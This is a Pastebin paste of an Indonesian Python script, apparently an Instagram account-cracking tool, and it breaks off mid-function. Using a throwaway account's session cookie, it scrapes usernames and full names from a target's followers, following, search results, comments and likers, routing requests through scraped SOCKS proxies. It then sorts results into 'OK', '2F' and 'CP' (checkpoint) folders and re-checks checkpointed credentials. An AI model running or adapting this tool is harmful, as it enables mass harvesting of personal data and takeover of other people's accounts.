Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #--------[ CREATE BY ZORA ID 2024]--------#
- try:
- import uuid, hmac, hashlib, urllib, shutil, base64
- import os, re, sys, json, time, random, datetime, requests
- from rich.tree import Tree
- from rich import print as printz
- from rich.panel import Panel
- from rich.console import Console
- from rich.columns import Columns
- from concurrent.futures import ThreadPoolExecutor
- from banner import Terminal
- from facebook import Facebook
- from asset.pengguna import Pengguna
- from asset.enc_password import Requre
- from asset.amankan_data import Require
- from asset.useragent_ig import Useragent
- except(Exception, KeyboardInterrupt) as e:
- try:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- except(Exception, KeyboardInterrupt) as e:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- dump = []
- class Requ:
- def __init__(self) -> None:
- self.proxies = []
- pass
- def Convert_Name(self, xxx, cookie):
- with requests.Session() as r:
- try:
- response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
- if 'user_id' in str(response):
- return(re.findall('"user_id":"(\d+)"', str(response))[0])
- except (Exception) as e: pass
- def Convert_Url(self, xxx, cookie):
- with requests.Session() as r:
- try:
- response = r.get(xxx, cookies={'cookie': cookie}).text
- if 'media_id' in str(response):
- return(re.findall('{"media_id":"(.*?)"',str(response))[0])
- except (Exception) as e: exit(e)
- def Validasi_Username(self, username):
- with requests.Session() as r:
- try:
- response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
- return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
- except (Exception) as e: return(None,None,None,None)
- def DeviceId(self):
- return 'android-%s'%(self.uuid_(True)[:16])
- def uuid_(self, abcd=None, zd=None):
- if zd is not None:
- m = hashlib.md5()
- m.update(zd.encode('utf-8'))
- i = uuid.UUID(m.hexdigest())
- else:
- i = uuid.uuid4()
- if abcd: return str(i.hex)
- return str(i)
- def adid(self, username):
- sha2 = hashlib.sha256()
- sha2.update(username.encode('utf-8'))
- abcd = sha2.hexdigest()
- return self.uuid_(False, abcd)
- def guid(self):
- return self.uuid_(False)
- def poid(self):
- return self.uuid_(False, self.guid())
- def Socksku(self):
- with requests.Session() as r:
- try:
- response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
- for prox in response.splitlines():
- self.proxies.append(prox)
- return self.proxies
- except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()
- class Login:
- def __init__(self) -> None:
- pass
- def Username_And_Password(self):
- try:
- Terminal().Banner_Instagram()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
- cookies = Console().input("[bold grey50] ╰─> ")
- if len(cookies) >0:
- self.username, self.fullname = self.Validasi_Cookies(cookies)
- with open('.cookie_instagram.json', 'w') as wr:
- wr.write(json.dumps({
- "Cookie": cookies,
- }))
- wr.close()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!...", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Success[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Masukan Cookie Instagram, Jangan Sampai Kosong Ngabs!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- except (KeyboardInterrupt, Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Validasi_Cookies(self, cookies):
- with requests.Session() as r:
- r.headers.update({
- 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
- })
- response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.search('ds_user_id=(\d+)',str(cookies)).group(1)), cookies = {
- 'cookie': cookies
- })
- self.payload = json.loads(response.text)
- if '\'username\':' in str(self.payload):
- self.username = self.payload['user']['username']
- self.fullname = self.payload['user']['full_name']
- return(self.username, self.fullname)
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- time.sleep(3.5)
- self.Username_And_Password()
- class Instagram:
- def __init__(self):
- self.uaman, self.uaku = [],[]
- self.password_manual, self.masukan_sandi, self.Kilometers, self.Meterans, self.amankan_akun = [],[],[],[],[]
- self.success, self.chekpoint, self.faktor, self.looping, self.sandi_salah = 0,0,0,0,0
- self.Create_Dir()
- def Create_Dir(self):
- try: os.mkdir('OK')
- except: pass
- try: os.mkdir('/sdcard/OK')
- except: pass
- try: os.mkdir('2F')
- except: pass
- try: os.mkdir('/sdcard/2F')
- except: pass
- try: os.mkdir('CP')
- except: pass
- try: os.mkdir('/sdcard/CP')
- except: pass
- def Remove_Cookie(self):
- try: os.system('rm -rf .cookie_instagram.json')
- except (Exception): pass
- Login().Username_And_Password()
- def Chek_Cookies(self, created, exspired, sisa):
- try:
- cookie = json.loads(open('.cookie_instagram.json', 'r').read())['Cookie']
- self.Menu_Instagram(created, exspired, sisa, cookie)
- except (FileNotFoundError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> File Not Found Error!!..")
- time.sleep(3.5)
- self.Remove_Cookie()
- def Menu_Instagram(self, created, exspired, sisa, cookie):
- try:
- bulan = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- script, online = Pengguna()
- txp,bxp,hxp = exspired.split('-'); tcd,bcd,hcd = created.split('-')
- self.username, self.fullname = Login().Validasi_Cookies(cookie)
- except (KeyError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!...")
- time.sleep(3.5)
- self.Remove_Cookie()
- except (requests.exceptions.ConnectionError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Koneksi Anda Error!!...")
- time.sleep(3.5)
- self.Chek_Cookies()
- try:
- Terminal().Banner_Instagram()
- self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}\n[bold green]•[bold white] Pengguna [bold green]{script}.00', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- self.Kilometers.append(Panel(f'[bold green]•[bold white] Join [bold green]{hcd} {bulan[bcd]} {tcd}\n[bold green]•[bold white] Exspired [bold red]{hxp} {bulan[bxp]} {txp}\n[bold green]•[bold white] Online [bold green]{online}.00', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info License[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- Console().print(Columns(self.Kilometers))
- except (AttributeError) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack nama dari follower [bold white][bold green]06[bold white]. Chek Detedtor Chekpoint\n[bold white][bold green]02[bold white]. Crack nama dari following\t[bold white][bold green]07[bold white]. Chek Result Crack Anda\n[bold white][bold green]03[bold white]. Crack nama dari search nama\t[bold white][bold green]08[bold white]. Beralih Ke Facebook\n[bold white][bold green]04[bold white]. Crack nama dari komentar\t[bold white][bold green]00[bold white].[bold red] Exit Instagram\n[bold white][bold green]05[bold white]. Crack nama dari likers''', title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- query = Console().input("[bold grey50] ╰─> ")
- if query == '01' or query == '1':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci, Note [bold green]Akun Centang Biru Bisa Di Dump, Tetapi Tidak Semua Akun Centang Biru Bisa Di Dump[bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Name(self.username, cookie)
- try: self.Dump_Followers(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '02' or query == '2':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci, Note [bold green]Akun Centang Biru Bisa Di Dump, Tetapi Tidak Semua Akun Centang Biru Bisa Di Dump[bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Name(self.username, cookie)
- try: self.Dump_Following(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '03' or query == '3':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Minimal 10 Username!, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Search(self.username, cookie)
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '04' or query == '4':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram[bold green] Usahakan Cari Yang Komentarnya Banyak![bold white], Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Url(self.username, cookie)
- try: self.Dump_Komentar(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '05' or query == '5':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram[bold green] Usahakan Cari Yang Likenya Banyak![bold white], Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Url(self.username, cookie)
- try: self.Dump_Likers(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '06' or query == '6':
- try: file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> Tekan Enter!!")
- for buka in open('/sdcard/CP/'+str(files)).readlines():
- try:
- username, password = buka.split('|')[1], buka.split('|')[2]
- self.DetedtorChekpoint(username, password)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '07' or query == '7':
- try:
- Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
- choose = Console().input("[bold grey50] ╰─> ")
- if choose =='01' or choose =='1':
- try:
- file = os.listdir('/sdcard/OK')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='02' or choose =='2':
- try:
- file = os.listdir('/sdcard/2F')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File 2F[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='03' or choose =='3':
- try:
- file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '08' or query == '8':
- try: Facebook()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '00' or query == '0':
- try: self.Remove_Cookie()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Dump_Search(self, username, cookie):
- with requests.Session() as r:
- try:
- response = r.get(f'https://www.instagram.com/web/search/topsearch/?count=100&context=blended&query={self.username}',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
- for akun in response['users']:
- username, fullname = akun['user']['username'], akun['user']['full_name']
- if username+'<=>'+fullname not in dump: dump.append(username+'<=>'+fullname)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Followers(self, username, cookie, max_id):
- with requests.Session() as r:
- try:
- params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
- response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_max_id' in str(response):
- self.Dump_Followers(username, cookie, response['next_max_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Following(self, username, cookie, max_id):
- with requests.Session() as r:
- try:
- params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
- response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_max_id' in str(response):
- self.Dump_Following(username, cookie, response['next_max_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Komentar(self, username, cookie, max_min):
- with requests.Session() as r:
- try:
- params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
- response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['comments']:
- if akun not in dump:
- dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_min_id' in str(response):
- self.Dump_Komentar(username, cookie, response['next_min_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Likers(self, username, cookie, max_min):
- with requests.Session() as r:
- try:
- params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
- response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_min_id' in str(response):
- self.Dump_Komentar(username, cookie, response['next_min_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Result(self, result, isi):
- if result in ('1','01'):
- for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
